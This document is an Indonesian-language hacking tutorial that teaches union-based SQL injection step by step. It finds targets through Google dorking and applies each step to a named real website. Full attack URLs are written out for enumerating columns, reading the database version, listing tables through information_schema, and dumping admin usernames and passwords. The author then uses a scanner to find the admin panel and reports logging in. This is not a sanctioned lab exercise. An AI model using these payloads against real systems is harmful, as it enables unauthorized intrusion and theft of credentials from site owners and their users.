Konfigurasi Lengkap SQL Injection
SQL injection adalah kode injeksi teknik yang
mengeksploitasi kerentanan keamanan yang terjadi di lapisan database dari
aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar
karakter string literal tertanam melarikan diri dalam pernyataan SQL atau
masukan pengguna tidak bertipe kuat dan karenanya dijalankan. Ini adalah sebuah
instance dari kelas yang lebih umum kerentanan yang dapat terjadi kapan pun
salah satu bahasa pemrograman atau scripting tertanam dalam lainnya. Serangan
injeksi SQL juga dikenal sebagai serangan penyisipan SQL.Dengan kata sederhana
saya harus mengatakan hacker yang menyuntikkan karakter tertentu di daerah
otentikasi admin dan akses keuntungan sebagai admin.
Bagaimana cara mengetahui web yang terkenal celah SQLI?
Hal yang pertama harus di ketahui oleh attacker untuk mengetahui apakah suatu
situs terkena celah SQL Injection atau tidak adalah dengan cara membuat suatu
error pada URL tersebut,dengan cara menambah karakter (') [tanpa tanda kurung
setelah angka/id pada situs tersebut
Berikut adalah contoh url yg memungkinkan terkena celah SQL Injection
http://situstarget.com/berita.php?id=23 --> web terlihat normal
lalu kita sisipkan karakter ' untuk mengetahui situs tersebut error atau tidak,
seperti dibawah ini
http://situstarget.com/berita.php?id=23' -->web terlihat error
Bagaimana cara mencari target suatu web untuk di eksekusi?
Gampang saja,kalo untuk mecari web yang terkena celah SQL Injection adalah dengan
cara dorking di google
Apa itu dorking? dorking adalah suatu cara attacker untuk mencari struktur pada
sebuah situs seperti mencari direktori/file/script dan lain lain
Pertama-pertama
kita mencari target dengan teknik dorking seperti dibawah ini
Nah seperti
contioh diatas saya menemukan web yang memungkinkan memiliki celah SQL
Injection,yup langsung aja kita test url tersebut dengan memberikan karakter
(') pada id url agar kita bisa mengetahui web tersebut bisa di SQL Injection
atau tidak
http://morningkiss.com.my/product_detail.php?id=116
Contoh
gambar diatas adalah pada saat kondisi web masih normal dan belum kita berikan
karakter (') pada id url,sekarang kita coba tambahkan karakter (') pada id url
menjadi :
http://morningkiss.com.my/product_detail.php?id=116'
Seperti kita
lihat pada gambar diatas setelah kita berikan karakter (') pada url id maka
terdapat error pada isi web tersebut "Fatal error: Call to a member
function Recordcount() on a non-object in
/home/agan/sites/morningkiss.com.my/public_html/product_detail.php on line 60"
jika begitu berarti web tersebut terkena celah SQL Injection.
NP : untuk
error pada website bisa berbeda - beda pesan teksnya tidak selalu seperti
contoh diatas
Berikut
contoh-contoh error pada web yang terkena celah SQL Injection
-You have an
error in your SQL syntax;
-Warning:
mysql_fetch_array()
-Warning:
mysql_num_rows()
-dan masih
banyak lagi
Oke
lanjut,sekarang kita coba untuk mengetahui isi database web tersebut menggunakan
perintah-perintah Query
Untuk
mengetahui isi database web tersebut,pertama kita harus mencoba temukan ada
berapa column database tersebut dengan cara memberikan perintah "order
by 1--+-" pada akhir url id menjadi :
Untuk lebih
jelasnya seperti dibawah ini
Nah ketika
kita coba tambahkan perintah tersebut,web kembali normal tetapi disini kita
harus mengetahui ada berapa column database itu,berarti kita harus mencarinya
dengan perintah sebelumnya dengan merubah perintah "order by 1--+-"
menjadi "order by 2--+-" dan jika kita sudah mengubahnya
dengan "order by 2 --+-" kondisi web masih normal kita coba
terus dengan menambahkan angka tersebut terus menerus sampai mendapatkan suatu
error seperti gambar dibawah ini
Dan kita
menemukan error pada "order by 9 --+-" atau jika di tulis di
url
berarti kita
mengetahuinya,column database tersebut terdapat 8 column,loh kok kenapa 8 column?
sedangkan di website errornya sampai di order 9? oke saya jelaskan disini.
Kenapa 8 column? kerena setelah kita coba dengan perintah order by
1,2,3,4,5,6,7 sampai 8 tidak terdapat error dan yang terjadi error pada order
by 9,secara logika berarti web tersebut tidak ada database di column ke 9 dan
hanya ada sampai column ke 8. ya seperti itulah kurang lebih jelasnya
setelah kita
mengetahui ada 8 column sekarang kita juga harus mengetahui dimana letak isi
column pada laman web tersebut di antara 8 column itu dengan perintah "union
select 1,2,3,4,5,6,7,8--+-" dan sebelum id url tersebut kita berikan
karakter (-) urlnya menjadi :
Setekah di
coba ternyata muncul angka - angka ajaib hehe,disana kita lihat terdapat angka
2 dan 6 yang sebelumnya tidak ada pernah ada angka tersebut,karna dari itu
disebut angka ajaib
pertanyaannya
untuk apa angka ajaib itu? oke saya jelaskan,kan sebelumnya kita mau mencari
letak isi column laman pada web tersebut diantara 1-8 column,nah itu dia angka
ajaib itu adalah letak column isi lama pada web tersebut,di column 2 atau 6 itu
sama saja
Oke ketika
kita sudah mengetahui letak columnya,kita bisa melihat apa saja yang kita
perlukan melalui perintah-perintah query seperti melihat versi database,nama
column database,dan lain-lain
Sebelum kita melanjutkannya kita
harus tau version database tersebut,karna jika version database web tersebut
adalah version 4.xx.xx.xx itu agak ribet melakukan perintah2 SQL Injectionnya
karna untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1
tabel yang ada pada databasenya. Tetapi jika kita menemukan version 5.xx.xx.xx
berarti kita bisa melanjutkan eksekusi SQL Injection ini
Yup,untuk melihat version database kita menggunakan perintah "@@version"
pada angka ajaib tersebut dengan cara mengubah angka 2 (angka 2 atau 6 sama
saja,tapi disini saya menggunakan angka 2) menjadi "@@version" jadi
urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116
union select 1,@@version,3,4,5,6,7,8--+-
Dan ternyata version databasenya 5.1.73 berarti kita bisa melanjutkannya
hehe
NP:Tapi biasanya rata2 semua web sudah menggunakan version databse 5
keatas,jadi jarang version 4 kebawah
Lalu setelah sudah mengetahui version,sekarang yang kita lakukan adalah melihat
isi nama - nama database tersebut,tujuan melihat isi database bermacem macem
seperti kita ingin melihat user dan password admin atau data-data penting
lainnya jadi celah SQL Injection ini cukup berbahaya juga
Oke lanjut,cara untuk melihat isi nama-nama database kita menggunakan perintah
"group_concat(table_name)" dan lalu di akhir url sebelum
karakter "--+-" kita tambahkan perintah "from+information_schema.tables+where+table_schema=database()"
jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116
union select
1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+-

Dan alhasil kita lihat,kita
mendapatkan isi-isi database web tersebut :D sekarang kita coba mencari user
admin pada web tersebut,biasanya isi database user admin begitu namanya
admin,useradmin,loginadmin,useradmin,atau yang lainnya yang bergantungan dengan
admin,nah disini kita bisa melihat kita sepertinya menemukan table database
admin yaitu dengan "tbl_admin" ya udah kalo begitu kita coba
bongkar isi table tbl_admin tersebut dengan mengubaha sedikit perintah
sebelumnya,jadi perintah "group_concat(table_name)" di ubah
menjadi "group_concat(column_name)" dan perintah "from+information_schema.tables+where+table_schema="
menjadi "from+information_schema.columns+where+table_name="
lalu "database()" di ubah menjadi Decimal tbl_admin,nah untuk
mengubah teks "tbl_admin" menjadi Decimal kita bisa
menggunakan add-ons yang terdapat pada mozilla firefox yaitu add-ons yang
bernama HackBar atau kalian bisa download dan install di sini
NP: jika tidak muncul HackBarnya pada saat sudah selesai install kalian bisa
memunculkan hanya tinggal klik kanan pada menu firefox lalu pilih HackBar
Dan untuk cara penggunaanya cukup mudah hanya tinggal pilih SQL > MySQL >
MySQL CHAR() setelah itu masukan teks yang ingin di ubah ke Decimal contoh
kasus disini ialah "tbl _admin" dan alhasil kita dapatkan
hasilnya yaitu "CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)"
setelah itu kita masukan ke perintah SQL Injection
Nah setelah informasi sudah di dapatkan lalu kita masukan perintahnya untuk
melihat isi table tbl_admin tersebut, jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116
union select
1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(116,
98, 108, 95, 97, 100, 109, 105, 110)--+-

Dan
ternyata pada saat kita gunakan perintah tersebut kita bisa melihat disana ada
column database untuk username admin dan password admin,ya sudah langsung saja
kita bongkar dengan sedikit lagi mengubah perintah sebelumnya yaitu "group_concat(column_name)"
dengan "group_concat(admin_username,0x3a,admin_password)" dan
"+from+information_schema.columns+where+table_name=CHAR(116,
98, 108, 95, 97, 100, 109, 105, 110)--+-" menjadi "+from+tbl_admin--+-"
NP:perintah yang terdapat di antara admin_username
dan admin_password adalah perintah untuk memisahkan/pembatas kerakter (:) agar
username dan password tidak berantakan ketika kita lihat jadi bisa kita gunakan
permisah dengan perintah 0x3a
dan urlnya sekarang menjadi :
http://morningkiss.com.my/product_detail.php?id=-116
union select 1,group_concat(admin_username,0x3a,admin_password),3,4,5,6,7,8+from+tbl_admin--+-
Dan kita mendapatkan username dan password admin
Lalu langkah terakhir tinggal mencari tempat admin
loginnya biasanya sih di /admin atau /administrators tapi jika kalian coba lalu
tidak nemu login adminnya kalian bisa gunakan software "Acunetix Web
Vulnerability Scanner" ini adalah software yang di gunakan webmaster untuk
mengecek security web mereka
tapi bisa juga kita gunakan untuk mencari admin login
cara menggunakannya cukup mudah hanya
dengan memasukan web yg ingin kita scan di kolom scan pada software tersebut
lalu software tersebut akan secara otomatis memberikan informasi kepada kita direktori
pada web tersebut untuk lebih jelasnya
lihat gambar dibawah ini :
dan kita lihat disana saya mencoba scan web http://morningkiss.com.my dan
ternyata admin loginnya terdapat pada dir adminCP,ketika agan sekalian sudah
tau dir admin dan username password admin tinggal tunggu apalagi coba kita
login
Dan hasil kita bisa login.